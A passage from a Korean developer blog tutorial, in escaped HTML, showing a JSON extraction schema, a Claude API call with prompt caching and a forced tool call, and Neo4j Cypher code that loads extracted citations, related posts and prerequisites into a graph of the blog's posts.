            &lt;span class=&quot;token literal-property property&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;reason&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;왜 관련되는지 한 줄&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;slug&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;reason&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;prerequisites&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;array&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;본문이 &apos;먼저 읽으면 좋다&apos;고 명시한 글의 slug&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;evidence&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;원문 인용&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token literal-property property&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;slug&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;evidence&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;cites&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;related&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;prerequisites&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;세 필드 모두 &lt;code class=&quot;language-text&quot;&gt;required&lt;/code&gt;로 두는 게 핵심입니다. &lt;strong&gt;추출할 게 없으면 빈 배열&lt;/strong&gt;을 강제해야 LLM이 &quot;관련 글이 있는 척&quot;하지 않습니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;context&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;reason&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;evidence&lt;/code&gt; 같은 &lt;strong&gt;근거 필드&lt;/strong&gt;도 같이 받으세요. 검수 단계에서 진위를 빠르게 확인할 수 있고, 사람이 그래프를 직접 보며 신뢰도를 평가할 때 결정적입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;시스템 프롬프트 + 프롬프트 캐싱&lt;/h2&gt;
&lt;p&gt;이제 Claude API 호출. 시스템 프롬프트가 길어지므로 &lt;strong&gt;프롬프트 캐싱&lt;/strong&gt;으로 비용을 줄입니다. 글 100개를 처리한다면 시스템 프롬프트는 1번만 비용을 내고 99번은 캐시 히트입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Anthropic &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@anthropic-ai/sdk&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; client &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Anthropic&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;SYSTEM_PROMPT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;당신은 블로그 글에서 그래프 관계를 추출하는 어시스턴트입니다.

규칙:
1) cites: 본문에 마크다운 링크로 등장한 외부 URL만. 블로그 자체(blog.javapark.kr)는 제외.
2) related: 본문이 명시적으로 가리킨 같은 블로그의 다른 글 slug만. 추측 금지.
3) prerequisites: &quot;먼저 읽어라&quot;, &quot;이전 편&quot;, &quot;전제 지식&quot; 같은 명시적 표현이 있을 때만.

규칙 외 항목은 절대 만들지 마세요. 빈 배열은 정상입니다.&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;messages&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;claude-sonnet-4-6&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;max_tokens&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2048&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;SYSTEM_PROMPT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;cache_control&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ephemeral&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;tools&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;extractionTool&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;tool_choice&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;tool&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;record_post_extractions&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;messages&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;role&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;[글 slug] &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;\n[카테고리] &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;category&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; toolUse &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;type &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;tool_use&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; toolUse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;input
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;세 가지 포인트:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;tool_choice&lt;/code&gt;로 사용 강제&lt;/strong&gt; — LLM이 텍스트 답변을 섞지 않고 무조건 도구 호출만 반환합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;cache_control: ephemeral&lt;/code&gt;&lt;/strong&gt; — 시스템 프롬프트를 5분간 캐시. 연속 호출의 비용이 급감합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;모델은 Sonnet 4.6&lt;/strong&gt; — 추출 작업은 Sonnet으로 충분합니다. Opus는 비용 대비 이득이 작아요.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;그래프에 합치기&lt;/h2&gt;
&lt;p&gt;3편의 적재 스크립트에 한 단계만 더합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ingestExtractions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; extractions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;executeWrite&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;tx&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 외부 인용&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cites&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MERGE (e:ExternalResource {url: $url})
         SET e.title = coalesce(e.title, $title)
         WITH e
         MATCH (p:Post {slug: $slug})
         MERGE (p)-[r:CITES]-&gt;(e)
         SET r.context = $context&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;context &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// 관련 글&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; r &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;related&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MATCH (a:Post {slug: $from}), (b:Post {slug: $to})
         MERGE (a)-[rel:RELATED_TO]-&gt;(b)
         SET rel.reason = $reason&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;reason&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;reason &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// 선수 글&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; pre &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; extractions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prerequisites&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;MATCH (a:Post {slug: $from}), (b:Post {slug: $to})
         MERGE (b)-[rel:PREREQUISITE_OF]-&gt;(a)
         SET rel.evidence = $evidence&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; pre&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;evidence&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; pre&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;evidence &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;3편의 적재 루프 끝에 호출합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; file &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; files&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
